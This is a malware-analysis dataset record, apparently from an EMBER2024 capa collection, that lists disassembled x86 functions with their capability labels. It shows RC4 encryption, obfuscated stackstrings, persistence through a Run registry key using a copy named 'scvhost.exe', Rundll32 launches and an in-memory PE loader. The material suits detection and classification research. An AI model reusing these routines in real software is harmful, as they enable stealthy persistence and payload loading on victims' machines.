joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414e90
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [0x7f8ad4]
sub esp, 0x484
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetDateFormatA]
mov ebp, 0x2443831
cmp eax, 0x47
jne 0x414f16
xor eax, eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x78]
push ecx
push 0x40376c
mov dword [esp + 0x6c], 0
call esi
xor eax, eax
push eax
mov dword [esp + 0x56], eax
mov dword [esp + 0x5a], eax
mov dword [esp + 0x5e], eax
mov word [esp + 0x62], ax
lea eax, [esp + 0x94]
push eax
push 0x403798
xor edx, edx
lea ecx, [esp + 0x5c]
push ecx
push edx
push edx
mov word [esp + 0x68], dx
call edi
dec ebp
mov eax, dword [0x4486a8]
mov dword [0x7f8ad4], eax
jne 0x414eb5
mov dword [esp + 0x20], 0x764d11c7
mov dword [esp + 0x4c], 0x26b44f20
mov dword [esp + 0x24], 0x1f33c7de
mov dword [esp + 0x10], 0x2e56cff9
mov dword [esp + 0x28], 0x6cde8df8
mov dword [esp + 0x14], 0x796abd53
mov dword [esp + 0x34], 0x3ce56ad4
mov dword [esp + 0x1c], 0x581868fc
mov dword [esp + 0x18], 0xc596c70
mov dword [esp + 0x3c], 0x6d5e9115
mov dword [esp + 0x30], 0x22f372d9
mov dword [esp + 0x40], 0x2ad541d0
mov dword [esp + 0x38], 0x7a5f7c43
mov dword [esp + 0x2c], 0x28d520e
mov dword [esp + 0x48], 0x73f3bc07
mov dword [esp + 0x44], 0x51f578e1
add dword [esp + 0x4c], 0x73e38130
mov eax, 0x3a9c3a87
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x24], 0x6b053f58
add dword [esp + 0x20], 0x2818faf9
add dword [esp + 0x4c], 0x3ab2fc3
sub dword [esp + 0x20], 0x30ad2d47
sub dword [esp + 0x20], 0x4442fc9b
sub dword [esp + 0x28], 0x2285667
add dword [esp + 0x4c], 0x262c99c6
sub dword [esp + 0x14], 0x4dc74448
mov eax, 0x53cf4e1b
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add dword [esp + 0x24], 0x1b067f32
mov eax, 0x67698c83
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
sub dword [esp + 0x28], 0x7674af1e
mov eax, 0x173863dd
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
mov eax, 0x3d786fdd
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
mov eax, 0x38471b91
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, 0x45f07edf
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
add dword [esp + 0x18], 0x6fea1ecd
sub dword [esp + 0x34], 0x32f1f16e
add dword [esp + 0x34], 0x6e380599
sub dword [esp + 0x18], 0x3ca08c1e
add dword [esp + 0x30], 0x154e8e1
add dword [esp + 0x14], 0x53bb032d
sub dword [esp + 0x14], 0x11166d6c
sub dword [esp + 0x18], 0x2a6a1594
add dword [esp + 0x14], 0x4fb1fe05
mov eax, 0x4b3ce8e6
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
add dword [esp + 0x3c], 0x1bc84bb6
sub dword [esp + 0x30], 0x687c0c2b
add dword [esp + 0x48], 0x36e578c2
sub dword [esp + 0x10], 0x7b5e58ec
mov eax, 0x38d0a1fb
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
sub dword [esp + 0x40], 0x15793cf4
mov edx, dword [0x44869c]
mov dword [0x7f8ee8], edx
call fcn.00414aa0
pop edi
xor eax, eax
pop esi
pop ebp
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10001310
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x100094f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1ac
push esi
mov esi, ecx
push edi
mov dword [esp + 0x20], esi
lea ecx, [esi + 4]
call fcn.10001000
lea ecx, [esi + 0x14]
mov dword [esp + 0x1bc], 0
call fcn.10001000
lea ecx, [esi + 0x24]
mov byte [esp + 0x1bc], 1
call fcn.10001000
lea ecx, [esi + 0x34]
mov byte [esp + 0x1bc], 2
call fcn.10001000
lea eax, [esp + 0x24]
mov byte [esp + 0x1bc], 3
push eax
push 0x202
mov dword [esi], 0x1000a230
call dword [0x1000dfa0]
push 0
push 0
push 1
push 0
call dword [0x1000decc]
lea ecx, [esp + 8]
push 3
lea edx, [esi + 0x54]
push ecx
push edx
mov dword [esi + 0x4c], eax
mov byte [esi + 0x57], 0
mov dword [esi + 0x48], 0xffffffff
mov byte [esp + 0x14], 0x2a
mov byte [esp + 0x15], 0x78
mov byte [esp + 0x16], 0x20
call dword [0x1000df90]
mov al, 0x50
mov cl, 0x74
mov byte [esp + 0x19], al
mov byte [esp + 0x1d], al
mov al, 0x6f
mov byte [esp + 0x20], cl
mov byte [esp + 0x1f], al
mov byte [esp + 0x21], al
mov byte [esp + 0x23], al
mov byte [esp + 0x26], al
mov byte [esp + 0x28], cl
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
mov byte [esp + 0xc], 0x45
mov byte [esp + 0xe], 0x69
mov byte [esp + 0xf], 0x6e
mov byte [esp + 0x10], 0x68
mov byte [esp + 0x12], 0x72
mov byte [esp + 0x16], 0x63
mov byte [esp + 0x18], 0x6c
mov byte [esp + 0x19], 0x48
mov byte [esp + 0x1b], 0x73
mov byte [esp + 0x1d], 0x59
mov byte [esp + 0x1e], 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0xc]
push ecx
push eax
push 0x1000d408
mov ecx, esi
call fcn.10001d60
mov ecx, dword [esp + 0x1b4]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x1b8
ret

Function at 0x10001d60
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x400
push ebx
push ebp
mov ebp, dword [esp + 0x410]
push esi
mov esi, dword [esp + 0x410]
push edi
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x41c]
xor ecx, ecx
mov eax, ecx
xor edx, edx
div edi
xor eax, eax
mov byte [ecx + esi], cl
inc ecx
cmp ecx, 0x100
mov al, byte [edx + ebp]
mov dword [esp + ecx*4 + 0xc], eax
jl 0x10001d94
xor eax, eax
mov cl, byte [eax + esi]
mov edi, dword [esp + eax*4 + 0x10]
mov edx, ecx
and edx, 0xff
add edi, edx
add ebx, edi
and ebx, 0x800000ff
jns 0x10001dd4
dec ebx
or ebx, 0xffffff00
inc ebx
mov dl, byte [ebx + esi]
mov byte [eax + esi], dl
inc eax
cmp eax, 0x100
mov byte [ebx + esi], cl
jl 0x10001db1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x400
ret 0xc
Function at 0x10001e00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
push esi
push edi
xor ecx, ecx
xor esi, esi
xor edi, edi
test eax, eax
jbe 0x10001e8c
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x18]
inc ecx
and ecx, 0x800000ff
jns 0x10001e2b
dec ecx
or ecx, 0xffffff00
inc ecx
mov dl, byte [ecx + eax]
mov ebx, edx
and ebx, 0xff
add esi, ebx
and esi, 0x800000ff
jns 0x10001e48
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + eax]
mov byte [esp + 0x18], dl
mov byte [ecx + eax], bl
mov ebx, dword [esp + 0x18]
mov byte [esi + eax], dl
xor edx, edx
mov dl, byte [ecx + eax]
and ebx, 0xff
add edx, ebx
and edx, 0x800000ff
jns 0x10001e76
dec edx
or edx, 0xffffff00
inc edx
mov dl, byte [edx + eax]
mov bl, byte [edi + ebp]
xor bl, dl
mov edx, dword [esp + 0x1c]
mov byte [edi + ebp], bl
inc edi
cmp edi, edx
jb 0x10001e1a
pop ebp
pop ebx
pop edi
pop esi
ret 0xc

Function at 0x10002070
Capabilities:
Get file size

Disassembly:
sub esp, 0x18
push esi
push edi
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 0
lea eax, [edi + 0x18]
push bind
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100020b0
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, edi
call fcn.10002140
pop edi
pop esi
add esp, 0x18
ret 4
lea ecx, [esp + 8]
mov dword [esp + 8], 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1000d508]
lea edx, [esp + 8]
push 4
lea eax, [esp + 0x15]
push edx
push eax
mov byte [esp + 0x1c], 0xdd
call fcn.10006f60
lea ecx, [esp + 0xc]
push 4
lea edx, [esp + 0x19]
push ecx
mov ecx, dword [0x1000d508]
push edx
call fcn.10006f60
mov ecx, dword [0x1000d508]
push 4
lea eax, [esp + 0x1d]
push 0x1000d50c
push eax
call fcn.10006f60
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x10]
push 0xd
push ecx
mov ecx, edi
call fcn.10006300
pop edi
pop esi
add esp, 0x18
ret 4
Function at 0x10002fb0
Capabilities:
Get common file path

Disassembly:
push ecx
xor eax, eax
push edi
push eax
mov ecx, 0x41
mov edi, 0x1000db50
push 0x1a
push 0x1000db50
push eax
rep stosd dword es:[edi], eax
mov byte [esp + 0x16], 0x5c
mov byte [esp + 0x17], 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, dword [0x1000d508]
lea eax, [esp + 6]
push eax
push 0x1000db50
call fcn.10006f90
mov ecx, dword [esp + 0xc]
push ecx
mov ecx, dword [0x1000d508]
push 0x1000db50
call fcn.10006f90
pop edi
pop ecx
ret

Function at 0x100030b0
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
push ecx
mov al, byte [0x1000c94c]
push esi
mov byte [esp + 4], al
mov eax, dword [0x1000dc58]
xor esi, esi
test eax, eax
jne 0x100031ab
mov ecx, dword [esp + 0xc]
push ecx
call fcn.10002fb0
add esp, 4
push 0x1000db50
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100030fb
push 0x7c
push 0x1000db50
call fcn.10002ed0
add esp, 8
xor eax, eax
pop esi
pop ecx
ret
push 0
push 0x80
push 3
push 0
push 0
push bind
push 0x1000db50
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x1000db44], eax
jne 0x10003127
xor eax, eax
pop esi
pop ecx
ret
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x1000d738], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [0x1000d738]
push 0
push 0x1000db40
push edx
mov dword [0x1000dc54], eax
push eax
mov eax, dword [0x1000db44]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [0x1000db44]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1000d738]
mov eax, dword [0x1000dc54]
push edx
push eax
call fcn.10003010
mov ecx, dword [0x1000dc54]
push ecx
call fcn.10006370
add esp, 0xc
mov dword [0x1000db48], eax
test eax, eax
jne 0x1000319f
pop esi
pop ecx
ret
mov dword [0x1000dc58], 1
jmp 0x100031b0
mov eax, dword [0x1000db48]
mov edx, dword [esp + 0x10]
push edx
push eax
call fcn.100067f0
add esp, 8
test eax, eax
je 0x100031e6
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 4]
push ecx
mov ecx, dword [0x1000c268]
push str.127.0.0.1
push edx
push 0
push ecx
push 0x1000dc68
call eax
add esp, 0x18
mov esi, eax
mov eax, esi
pop esi
pop ecx
ret

Function at 0x10003330
Capabilities:
Create process on windows

Disassembly:
mov ecx, dword [0x1000de70]
sub esp, 0x208
lea eax, [esp]
push 0x104
push eax
push ecx
call dword [0x1000dea4]
mov eax, dword [esp + 0x20c]
test eax, eax
je 0x10003376
lea edx, [esp]
push eax
push edx
lea eax, [esp + 0x10c]
push str.Rundll32___s__DllUpdate__s
push eax
call dword [0x1000df10]
add esp, 0x10
jmp 0x10003391
lea ecx, [esp]
lea edx, [esp + 0x104]
push ecx
push str.Rundll32___s__Uninstall
push edx
call dword [0x1000df10]
add esp, 0xc
lea eax, [esp + 0x104]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [0x1000e0f0], 1
add esp, 0x208
ret
Function at 0x10003630
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x2dc
push ebx
mov ebx, dword [esp + 0x2e4]
push esi
push edi
push 0x170
lea eax, [esp + 0x17c]
push ebx
push eax
call dword [0x1000df90]
mov ecx, 0x59
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
add esp, 0xc
lea ecx, [esp + 0x284]
stosw word es:[edi], ax
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000369c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x2dc
ret
mov eax, dword [esp + 0x2f0]
lea edx, [esp + 0xc]
push 0
add eax, 0xfffffe90
push edx
add ebx, 0x170
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x100036cc
pop edi
pop esi
pop ebx
add esp, 0x2dc
ret
push esi
call dword [0x1000deb4]
lea edi, [esp + 0x180]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000370b
lea ecx, [esp + 0x180]
lea edx, [esp + 0x284]
push ecx
push edx
lea eax, [esp + 0x18]
push str._s__s
push eax
call dword [0x1000df10]
add esp, 0x10
jmp 0x1000371e
lea ecx, [esp + 0x284]
lea edx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x17c]
sub eax, 0
je 0x10003757
dec eax
je 0x1000374e
sub eax, 2
jne 0x10003766
lea eax, [esp + 0x10]
push eax
call fcn.10003330
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x2dc
ret
lea ecx, [esp + 0x10]
push 0
push ecx
jmp 0x1000375e
lea edx, [esp + 0x10]
push 5
push edx
call fcn.100033c0
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2dc
ret

Function at 0x10003c80
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x164
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0x68], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x68]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
lea edi, [esp + 0xc]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xc
lea edi, [esp + 0x36]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x6c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x10003d2c
mov edx, dword [esp + 0x168]
lea ecx, [esp + 0x60]
push 0x104
push ecx
push 1
push eax
mov eax, dword [esp + 0x10]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
add esp, 0x164
ret
Function at 0x100046c0
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x10004703
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push bind
call ebp
test eax, eax
je 0x1000472e
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push bind
call ebp
test eax, eax
je 0x100047ab
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push 0x1000c5e8
push edx
call esi
add esp, 8
test eax, eax
jne 0x10004828
lea eax, [esp + 0x6c]
push 0x1000c5e4
push eax
call esi
add esp, 8
test eax, eax
jne 0x10004828
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x1000c5e0
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x10004837
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x1000485f
mov dword [esp + 0x30], str.WinSta0Default
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret
Function at 0x10005050
Capabilities:
Copy file
Get common file path

Disassembly:
sub esp, 0x8a4
lea ecx, [esp + 0x2a0]
push esi
mov esi, dword [esp + 0x8b0]
push 0x100
mov eax, dword [esi]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edx, dword [esi]
push 0x100
lea eax, [esp + 0x2b4]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
lea ecx, [esp + 0x2a4]
push 0x10004fb0
push ecx
call dword [0x1000df2c]
test eax, eax
mov dword [0x1000dfe8], eax
je 0x10005266
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push 0
push 2
call fcn.10004f50
push 0
push 0
push 4
call fcn.10004f50
add esp, 0x18
lea edx, [esp + 8]
mov dword [esp + 8], 0x94
push edx
call dword [0x1000dee0]
cmp dword [esp + 0x18], 2
jne 0x10005246
cmp dword [esp + 0xc], 6
jae 0x100050fb
call sym.MainDll.dll_MainThread
jmp 0x10005246
lea eax, [esp + 0x9c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [esp + 0x9c]
push str._r.qZ
push ecx
lea edx, [esp + 0xa4]
push str._s_s.exe
push edx
call dword [0x1000df10]
add esp, 0x10
lea eax, [esp + 0x1a0]
push 0x104
push eax
call dword [0x1000def0]
lea ecx, [esp + 0x1a0]
push str.Rundll32.exe
push ecx
call dword [0x1000debc]
lea edx, [esp + 0x9c]
push 1
lea eax, [esp + 0x1a4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x9c]
push ecx
call fcn.10008860
add esp, 4
test eax, eax
jne 0x1000519c
lea edx, [esp + 0x1a0]
lea eax, [esp + 0x9c]
push edx
push eax
call dword [0x1000df10]
add esp, 8
mov edx, dword [0x1000de70]
lea ecx, [esp + 0x3a4]
push 0x104
xor esi, esi
push ecx
push edx
mov dword [esp + 0x10], esi
call dword [0x1000dea4]
lea eax, [esp + 0x3a4]
lea ecx, [esp + 0x9c]
push eax
push ecx
lea edx, [esp + 0x4b0]
push str._s___s__MainThread
push edx
call dword [0x1000df10]
add esp, 0x10
push 0x3e8
call dword [0x1000deb8]
lea eax, [esp + 4]
push eax
push esi
call dword [0x1000dee4]
cmp dword [esp + 4], 0x103
je 0x10005227
push esi
call dword [0x1000deb4]
push 0xbb8
call dword [0x1000deb8]
lea ecx, [esp + 0x4a8]
push ecx
call fcn.10002730
add esp, 4
mov esi, eax
mov eax, dword [0x1000dfe4]
cmp eax, 3
je 0x10005236
cmp eax, 1
jne 0x100051e2
push 0xffffffffffffffff
push esi
call dword [0x1000dec4]
push esi
call dword [0x1000deb4]
push 0x64
call dword [0x1000deb8]
mov eax, dword [0x1000dfe4]
cmp eax, 3
je 0x10005266
cmp eax, 1
je 0x10005266
mov eax, dword [0x1000e0f0]
test eax, eax
je 0x10005246
pop esi
add esp, 0x8a4
ret 8
Function at 0x10005270
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov al, 0x4f
lea ecx, [esp + 4]
mov byte [esp + 5], al
mov byte [esp + 0xd], al
lea eax, [esp]
mov byte [esp + 4], 0x53
push eax
push 0xf003f
push 0
push ecx
push reloc.WS2_32.dll_bind
mov byte [esp + 0x1a], 0x46
mov byte [esp + 0x1b], 0x54
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x41
mov byte [esp + 0x1e], 0x52
mov byte [esp + 0x1f], 0x45
mov byte [esp + 0x20], 0x5c
mov byte [esp + 0x22], 0x44
mov byte [esp + 0x23], 0x42
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x100052e1
xor eax, eax
add esp, 0x14
ret 0xc
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
cmp eax, 1
mov dword [0x1000de70], edx
jne 0x10005329
mov ecx, 0x1000de78
call fcn.100069e0
push 0x946
push 0x458
push 0x1000c7a0
call fcn.100045e0
push 0x946
push 0x458
push 0x1000c7a0
call fcn.10004630
add esp, 0x18
mov eax, 1
add esp, 0x14
ret 0xc

Function at 0x10005340
Capabilities:
Enumerate devices by category

Disassembly:
sub esp, 0x24
push ebp
push 0
call dword [0x1000dfd8]
lea eax, [esp + 0xc]
xor ebp, ebp
push eax
push 0x1000a2c0
push 1
push ebp
push 0x1000a300
mov dword [esp + 0x20], ebp
call dword [0x1000dfe0]
test eax, eax
jge 0x10005375
xor eax, eax
pop ebp
add esp, 0x24
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 8]
push 0
mov dword [esp + 0xc], 0
mov ecx, dword [eax]
push edx
push 0x1000a2f0
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x1000544a
lea edx, [esp + 0x14]
mov dword [esp + 4], eax
mov eax, dword [esp + 8]
push edx
lea edx, [esp + 8]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10005440
push ebx
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantCopy]
push esi
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x18]
push edx
push 0x1000a2a8
mov ecx, dword [eax]
push 0
push 0
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x1000541a
lea eax, [esp + 0x20]
push eax
call esi
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x20]
push 0
push edx
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x10005409
inc ebp
lea eax, [esp + 0x20]
push eax
call ebx
mov eax, dword [esp + 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
push edx
lea edx, [esp + 0x10]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x100053cb
pop esi
pop ebx
mov eax, dword [esp + 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
call dword [0x1000dfdc]
mov eax, ebp
pop ebp
add esp, 0x24
ret
Function at 0x10006370
Capabilities:
Parse pe header

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
cmp word [ebp], 0x5a4d
je 0x10006387
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov ebx, dword [ebp + 0x3c]
add ebx, ebp
cmp dword [ebx], 0x4550
je 0x1000639b
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, dword [ebx + 0x50]
mov ecx, dword [ebx + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov edi, eax
test edi, edi
jne 0x100063d1
mov edx, dword [ebx + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov edi, eax
test edi, edi
jne 0x100063d1
pop edi
pop esi
pop ebp
pop ebx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
push 4
push 0x1000
mov dword [esi + 4], edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov eax, dword [ebx + 0x50]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x54]
push 4
push 0x1000
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebp + 0x3c]
add edx, ecx
mov dword [esp + 0x14], eax
push edx
push ebp
push eax
call dword [0x1000df90]
mov eax, dword [ebp + 0x3c]
mov ecx, dword [esp + 0x20]
add eax, ecx
push esi
push ebx
mov dword [esi], eax
push ebp
mov dword [eax + 0x34], edi
call fcn.100064b0
mov ecx, dword [ebx + 0x34]
mov eax, edi
add esp, 0x18
sub eax, ecx
je 0x10006457
push eax
push esi
call fcn.10006630
add esp, 8
push esi
call fcn.100066b0
add esp, 4
test eax, eax
je 0x10006487
push esi
call fcn.10006570
mov edx, dword [esi]
add esp, 4
mov eax, dword [edx + 0x28]
test eax, eax
je 0x1000649e
add eax, edi
test eax, eax
je 0x10006487
push 0
push 1
push edi
call eax
test eax, eax
jne 0x10006497
push esi
call fcn.10006890
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 0x10], 1
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret